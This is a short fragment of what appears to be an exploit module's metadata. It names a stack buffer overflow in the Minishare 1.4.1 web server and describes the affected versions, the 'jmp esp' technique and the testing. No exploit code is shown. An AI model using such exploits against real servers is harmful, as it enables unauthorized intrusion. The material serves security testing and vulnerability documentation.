'Name' => 'Minishare 1.4.1 Buffer Overflow',
'Description' => %q{
This is a simple buffer overflow for the minishare web
server. This flaw affects all versions prior to 1.4.2. This
is a plain stack buffer overflow that requires a "jmp esp" to reach
the payload, making this difficult to target many platforms
at once. This module has been successfully tested against
1.4.1. Version 1.3.4 and below do not seem to be vulnerable.
